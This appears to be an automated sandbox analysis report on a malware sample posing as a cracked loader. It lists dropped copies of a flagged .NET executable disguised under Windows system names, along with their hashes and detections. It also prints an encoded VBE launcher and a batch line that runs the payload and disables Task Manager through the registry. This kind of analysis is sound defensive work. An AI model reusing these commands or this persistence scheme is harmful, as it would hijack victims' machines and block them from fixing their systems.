SHA1:	0B9109DC1A6E6C89AB6FA4C5F27BE1BACBB13BF9
SHA-256:	7194A3DB8B1E70E094092EDB61E6105EE69A99C3FB545B649C98332CA85A7F45
SHA-512:	6AB645C692B9E8A4C950438E3C8720733E03ADABB216086D1F4E6C3CACEA1EB3C40D572FA919E2596D9DF6709DB2F44DBA572ABCBE7F85E13F84645B8287A1DC
Malicious:	false
Preview:	5k0HRiUo6o1A8UROYAGjlJmsWrDrGbq2o7BcQQh5yXwQQ938b0BhqwAw8Hvjemie88WBTz7IdKuOWWbXyFQQZJM16OdIe7bMyRRRm2pm22DfBwZmpXvZVREyweFEVyofthZFEJu5ZnXgFq0Jz1cGMC0gNdfIxkREOiweXUhgnz9s3htGo5PdVhTrq21lolIzWTRh3VveT6dWCImptYe1UxsrPExec61BqJVkPLNSJvJYE6ohPM1QGQfjlkSyhRCXFbq3xCZhLMsjnTnSaPPPEk5Zow9p3Yu2twTmQuuNxTF4i55R79YRBwSegQPADtowcz01AACpfBcvfB1s0rr49c06dzGAftJDpSctFEQ76swATh8fYgKVBtw983YK3CJv1YFMiHnwbu7Rp0m50ll9jyB5fcuLpFD4jBI5cw6R3Y4RwfTIQdURaKLDWKqGXbGVrCrosrdEpUGL4uJAIl5MvvdZzEiSFz3bRjktxpajAPmGDAJmAq7vf3j5jSynIK9zao3UKZMcLWMfJXVz56RY2I5X9oKe1wazQwqYGybkdejJrDwM78sL3k7RtfVfPrlZ6XOWq6sHfq4Xiwq528h2EO5qyYpld5Vw3KNUyZf

C:\Recovery\csrss.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (934), with no line terminators
Category:	dropped
Size (bytes):	934
Entropy (8bit):	5.916477979084123
Encrypted:	false
SSDEEP:	24:EBVc4mztMXq/y5QzWvjw+kETYg63E14Pw4HW1/oPrnPUNTtnieYnR3Ek5M:oi7zt6q/yLNkETw04Pw+rzoTliekBM
MD5:	4AA63F70E0A647BE9AB0C5C7F817AFBE
SHA1:	0423B11CB93ABFA76FCA7F25F76FD4F2AD398DA6
SHA-256:	8C8DF8DD39775AEF67D68A31A1510B3CD8A14983087F177044D1CA2636ABA078
SHA-512:	7AA0D5FDD1C24CD4B38F91709BAB875697F0F53F2DBF2890038B7369FA9B9D0FAF53AAD550588583DA79B83BC002EBC1132E82102691EADA925914900D0FFF78
Malicious:	false
Preview:	Tz5OaGtkRCDxM2EIHVevVkyfP0mYOo5pJXyHGervdd3CzMWW7mVJLTksBa9jdVVmHYnyD7CnntR1rvpCeQamTwdzxGGpfISIIQ5bjiSAjsfcCtBQv6FN5tTV4xB70XIfaJsbzNd58ZCkQBxEFz4iCFMZ6jhvgVKMk9B2AjahcJPgqsE2A62AcjcV6TeQqsZmP0AQ94EfZWF30qsOeovjdJtAhq6qEK1uumR0ry3F2WlGdjfQlQvB7zJFH9tT8XbOfVINZ2gqvprGhnh7KpFxYzx5cLsrEjHe5WkIbR1suEQSIChdcwISSn0phNvOJymLhMLLCZg2yWDUjfxZnPPRazLSg4kNgmi5cEu51WaDPQd6jfGCaVk4jUusA2oIySWLxI1eu1hQyLCKVPtAyixLBoVHUC49rSO73SIaolRixUGXSjWvJoTQeLJJwtKs6ijf7FRDGSWNRPXri8zvpJzD88csI9o4bilOvkZNSTo1RG9Pxckx4YCxsfg9mj4GncvsnJ68imdVe8v28M4qY09CgyfPDaksZhNzUQlofmPR5rSuuoAaoOrxctLznr4HCu67v5hskQKwlrGzgveYZKELzaWlEwAyrHPLuV8zGSzYD5MumWT2Mgr1qvHVi6nyPVEdc5EKwpRHUpH4Nm9sdImLZXf9OnQKpBJr0sSqSIFgOkhAnMH665VGt3DEaE6JZHcTgZDfTSZUDF7z0eVBfTNupC87oOQNL5HGIOdNJmmofADn6ON5t5oF3rnebG0FBMIH80qmBH23rjPo8UAaAVeQRCNak9wCvhmS25pGhl3lCuYTc8fHFaEqs1z6mQBCVzHJ76wDo42Yb2Nho37ldo6Vc5kAGtdRk1PMnOWgMccLhqPzoSSsSZiq3wrBWw65blyjmA3ZhbZBMvxwquWxau8KSjT0hVKZfgt61pMnY2

C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\AccountPictures\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.847081639304441
Encrypted:	false
SSDEEP:	6:L9pJQMhRUYrj4YOKW5dvl3S8rMHD/LHF9rnijK8fUrCBkR:ZQMHLOKkthGD/B9zuML
MD5:	8761B95A3C2ECD1EBA2B3755AD23BDC3
SHA1:	34576CB5F2F7A9F901DE709793B6B41C51EFE859
SHA-256:	9474D0B19330CC04679DDC30ECFD12C61C9914E25159A0554767795ED599E097
SHA-512:	3A03C7F681A6F23F556D2961B0D47437ACCB59E5B431F36D91A2383215F3F18014A0D0FB8AE5C836E3674199EC7423A79EF8844A0252727B21BC44561C7EF01F
Malicious:	false
Preview:	rgNC2IrOdkWPnGGUnQUnqcDVklCGS5jrA1Tp8rNl0kc1JKbOlXLrrnlPc2cQGk5iAoOwxaW5CsxF9MLZKxe5t19XPDNFP6ePp40f6obLAQp90fPQqCGTG9yJo0gtMQpGOhaEWpdfWT4dMAhuy7ZNzLJpFq0FHs8tljuSFL3Bil7wEV7nTw5P1bQDYv8pyYXoVL2mPOpnDYoOOXkutNvVws1JTr4TMOMKNTa3dUYFHSMdxBzAKO5lmC1mTtTiUVbyMdB56qRYzqNegYWR23J7SkiLbxjuBzuv0XRTA4

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SurrogateRef.exe.log

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpvJHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpBGqZ8
MD5:	498D8CC0F157AA5168D6679E694BD803
SHA1:	05A8C750A8FC7F3438945EC9607C4F240917C31B
SHA-256:	5A452026BD10A826A716DD6A5B5D7D731458217CD89CD9F24FFC5A52AE6CD35F
SHA-512:	9924A15F7EC4B178E0C7B2BA6CDA7D26787372E63C49B66019D13696C14BFA3AADD2A597416E3589CE8B3F6AB4C9EE32A8BAA7C66ADDEA7A09C78B90B33CC893
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SwpTnCnrsAAKjgTAQ.exe.log

Download File

Process:	C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (1532), with no line terminators
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.383874903019373
Encrypted:	false
SSDEEP:	24:+4w2L+tYUSIugMYUZ+68TIi2gISis01QI59EfwI7zEIzxBaIljwEUi+Cf+N:fzSut+qitbh01Psv7bBN5b5fe
MD5:	6A63C439D7719C13E3E32ABA79F7D014
SHA1:	13C23C2568F492068F3BA51E7A6CF54F8E7B3BCE
SHA-256:	42114CB2F25684E4263691A9B847B5D66E847D81CD141366343CF00838CFFC4F
SHA-512:	E9B806BA5A46A5D65C514E7C9315B2C9D50B159F9A4FCDA3D2519007C0D986480B9FB6C6A3BBB70C488019B4334121B4B9A6A49D38038444525EE7A0050DB63E
Malicious:	false
Preview:	eyIzYjZmYWE1Yzg4NGJkMzEzMmQwNWQ4YmExOGM2M2Y2ZTZkMzQ4ZDcxIjoiW1wiQzpcXFxcY29tY29udGFpbmVyXFxcXFN1cnJvZ2F0ZVJlZi5leGVcIixcIkM6XFxcXFByb2dyYW0gRmlsZXMgKHg4NilcXFxcamRvd25sb2FkZXJcXFxcY29uZmlnXFxcXFN3cFRuQ25yc0FBS2pnVEFRLmV4ZVwiLFwiQzpcXFxcUmVjb3ZlcnlcXFxcY3Nyc3MuZXhlXCIsXCJDOlxcXFxSZWNvdmVyeVxcXFxXbWlQcnZTRS5leGVcIixcIkM6XFxcXFByb2dyYW0gRmlsZXMgKHg4NilcXFxcamRvd25sb2FkZXJcXFxcY29uZmlnXFxcXFJ1bnRpbWVCcm9rZXIuZXhlXCIsXCJDOlxcXFxVc2Vyc1xcXFxQdWJsaWNcXFxcQWNjb3VudFBpY3R1cmVzXFxcXFN3cFRuQ25yc0FBS2pnVEFRLmV4ZVwiLFwiQzpcXFxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcXFx3aW5kb3dzIG1haWxcXFxcU3Vycm9nYXRlUmVmLmV4ZVwiLFwiQzpcXFxcV2luZG93c1xcXFxDYnNUZW1wXFxcXFJ1bnRpbWVCcm9rZXIuZXhlXCIsXCJDOlxcXFxQcm9ncmFtIEZpbGVzXFxcXFdpbmRvd3NQb3dlclNoZWxsXFxcXFN3cFRuQ25yc0FBS2pnVEFRLmV4ZVwiLFwiQzpcXFxcUHJvZ3JhbSBGaWxlc1xcXFxXaW5kb3dzIE5UXFxcXElkbGUuZXhlXCIsXCJDOlxcXFxSZWNvdmVyeVxcXFxTd3BUbkNucnNBQUtqZ1RBUS5leGVcIixcIkM6XFxcXFJlY292ZXJ5XFxcXFN3cFRuQ25yc0FBS2pnVEFRLmV4ZVwiLFwiQzpcXFxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcXFxyZWZlcmVuY2UgYXNz

C:\Windows\CbsTemp\9e8d7a4ca61bd9

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (879), with no line terminators
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.9119876652443075
Encrypted:	false
SSDEEP:	12:UALEEBK66BLf4yjo3lkqYXTJMQA1qWKVIDtJb9yBHW/5ZbasNRX+K5DdK9MhknSM:UlEY5Kyjo3lkPNXA1qwtJtfOe49MhLG
MD5:	9B00901E83D8D09F5604F9C6E3692D55
SHA1:	CABC06BBD99530723191F7446626012B0299A138
SHA-256:	92C5A84E930F77E28B578E9C04EED09A22E5677373F22AE66B3F7246CC760097
SHA-512:	659DD257282D8CD61F10E98A33156406A4602327F00942EBF3FFD07C475B0EF01A371C2B2836D0FBB8D8881BE0E45720CCF60CAD5BAF10453696FBF1553D430D
Malicious:	false
Preview:	vOoXvOVoxjy3QG30fLzY8gJSVjUCpWqXp9jLNfOiUpA6YyHSXLaMRd4OFWBM3T9b2bORhrn96RDSfM3gbCoe6eGLFUG0dBoAqjE7k0uqhaQAZlt2dfv1pefYUCMNlwg4mCm5I56kR86fOFvekOX8QxVLEpmhogEv3VXW8ythiKjri9KPQrnWZhnzrb1dTY6v3Lm2rYfwe0ZGNnmFfXR63sWWripg6QOKNyyXXSh1M01iIglEyv75H91KyPKJt8zOlP3ZzPsM0ZuC0xOL7ksLSSDO7niHHYINBn62nMOjDuErPyUBB9LIQo5TMocLqkFcRhBN0VhuWIHhOV9IThFIM96Wsnq8uD3cpmarxGKqcbwIhXF1pT2Ie7QSlpfMoiASPo2l4RVMWZpvMyzUizTaLu7sVIGHl7B4ad22fd6Y8pwFRfFwzKoyPjHfqKPvLNkYXvUs56zF34cf82a0CTSbTMp1WXMVNKMvEXrgKW13Vi5UGmgxtYt15JELGcWite1srrblL4qpcYGuRUuu0YlybVz5SgZsASJ0qMmZK5mzsDZgDT3vrmrV2DRW1fSoe7pJPPEEsVj4wwFY5T28moAYly7n5Piom7UvXQQxPzDWCwiG72ahnUC06QhbRaIcx4SybUApCEsxloVzP1qDyABS5eyGszfzqkjIetpn1vfjmOPS5sLauFnw3936g47Mi2GAFNUfLCLDfbqqPfL9oFFk7wOe0tG7ySAtIONrYpPr4jRbTNqAs7idxgCT8zpb6NPMb7iBSdl80XqXexLnDGP0ug5lL4tiAxvqUF9WopsOWjnZzpyKnCYz8Zc5B6zYuD7Cm9DYyz8YYAeK2fwgFi48Z5s5mDUs0TeSmlx0laWyDAb84SC

C:\Windows\CbsTemp\RuntimeBroker.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\comcontainer\Kr8tZ.vbe

Download File

Process:	C:\Users\user\Desktop\NewLoaderCracks_1.32.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.837882189916454
Encrypted:	false
SSDEEP:	6:GEwqK+NkLzWbHa/JUrFnBaORbM5nCm0fHw3z2UW1:G1MCzWLauhBaORbQCm0fQzO
MD5:	BC647A515EEB02F2366108CD43723FD4
SHA1:	69B6E076499CE0CC261783566BBFF1A44B988862
SHA-256:	372F7D05AD9C45EB270304D6A1AC9E0BDD67141294C8B4182D2CBAE55F9DE905
SHA-512:	338178D3F253FE2E508499766765BAAAE444B6E501498C33C43E369EB9C6C317FC84C9298931DC75CAF8AE50499222F7239B5AA0D940411E79E956AD6646459D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^ugAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFT!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=z^K:1WxDlbU+Mza1wMWFyXwXB/T/MkhX3o,c4CYES,!SP6CVk+UDsAAA==^#~@.

C:\comcontainer\SurrogateRef.exe

Download File

Process:	C:\Users\user\Desktop\NewLoaderCracks_1.32.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\comcontainer\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\comcontainer\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	5.008789289078828
Encrypted:	false
SSDEEP:	3:hpHOh/rLAQ/GUUBp:/NQ/Ra
MD5:	7ADAAF478F63A879B2166B02708095B3
SHA1:	A0F756FE347FD24616A92E039CC63FF9D5D8D8B2
SHA-256:	5DDF899AAAB6365AE508E33CF53D195ACB8F9D8FC7CA6058CA9F277570A338BB
SHA-512:	CC0D8FC3E75D15EB1C18D3A5DD0A81A2191D56136F009397DA3354459529898C43D0F0DDB7E62D3C789D2CA45C4C792B5B47E34B4E1054FCA8182063C1DE50E6
Malicious:	false
Preview:	yuLy1pZ41hxr8ZlDZNWXDPxIrd16vzy2i9hRUVwyksn1h1VjXbK2Nq9i7DHXy

C:\comcontainer\cmd.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\comcontainer\ebf1f9fa8afd6d

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (671), with no line terminators
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.861236653698843
Encrypted:	false
SSDEEP:	12:FmktZEalqsZNSRRgHtpGH8tF9CvhUZIvJxQvS28REGzVL11LVSTnkwjiryu+Q:FmkZlncRgHKctF0hBsAHVB1hSTnkSirj
MD5:	A3115F1A00277A569449DB6F361DC0DD
SHA1:	397EE5B26A7CD3EDA575415729F586E08BEAC1B7
SHA-256:	851866D881E9A1FF9BE15F33CEF558EB85AC2C6A7FA86EC35A9C5E1282C50702
SHA-512:	724792E360B7E06183896BFBBC6C2F2C7B4959209A56510EBDC98A2E1C5F7650D4F17419E3A6147CCBD025D0503D919AD6F8A2BB808A12200EE00ED1D7075BAA
Malicious:	false
Preview:	HuoE4KFe9IP9pHNMCLzGVMREbbjZ9FadxONVjeR8PcYuTh1itPF1YWT4cknckqe3swMb41mi3113yhv3jBqu9jEa4S390zXi7eBhUao1mh7gfaF4zt2jAt3Jrwgl8mrEeS5TfNjJXyHcli4eN9KG7yiOl2zh3C3Az3CNfwYlKsMLlbhJ2CY9bkHqtrsnXBPU5Hmsgr8akj6OlWmJVqp1o3iOwVdyEvNId1PdyymLD7Y2o2EXEiRrWYqBjX6KNKWyVyvuGIVgDexqepk3RGtfegwEKO4a2c72kkg0HTQ6Nun2l9h4xC3Hb1UzBqk2O4olg4G4Iuv7zwSt34dKqAn0i0btPrybtXsTGBVq3mvDR5Roil6HNZLNQxCqdXpb5UObE9m1iwREOkjniwKnvqNUMeCS9pNg6UH6r0jj8EjbIH8qOZIqNBpPG3Pk6T23jvH4cm5rNkpqGwMFfVEjggT4o2zxk9noMq1W9EOmdadmW8IUrKEkPSWCcNQkwIHN7Aea4zGbHcGGDqiptfFa5CY3Tz4wynzVTPoVdra2EncxMP8vok0RCqS4llHE4TnemuxyBMMBENWRjlqE0IHOwhTm7tt2kV7uA8KbbKubXyNyTAVA4CNwMZrFbK1RcTbsQmRkaOmqYp07UeT6Yt7hILhlRFARTc9EXei

C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat

Download File

Process:	C:\Users\user\Desktop\NewLoaderCracks_1.32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.979754626494337
Encrypted:	false
SSDEEP:	3:I5jM0X4xA3mLACZFQNBZwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:IpMOm0FTStuH1jhRiI36BY
MD5:	CFFC740262BD32EF47BCF7B4D9BF4B02
SHA1:	890BA622B0B840444FF36F41D0805143E95C39FE
SHA-256:	2E7BCCC5E8D1632C692F8F538D8A0B0582C4B7861F00A537F08FBEF3C4B87C7B
SHA-512:	4F60373EB1AE629AAEC872333BDD561E373A038077988F411DBE9712814DFE06D7FCDA3ECE355ABB901FB1D252A321F54C07EE0136089EC502BD016F5BECE6B5
Malicious:	false
Preview:	"C:\comcontainer\SurrogateRef.exe" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.991880967110508
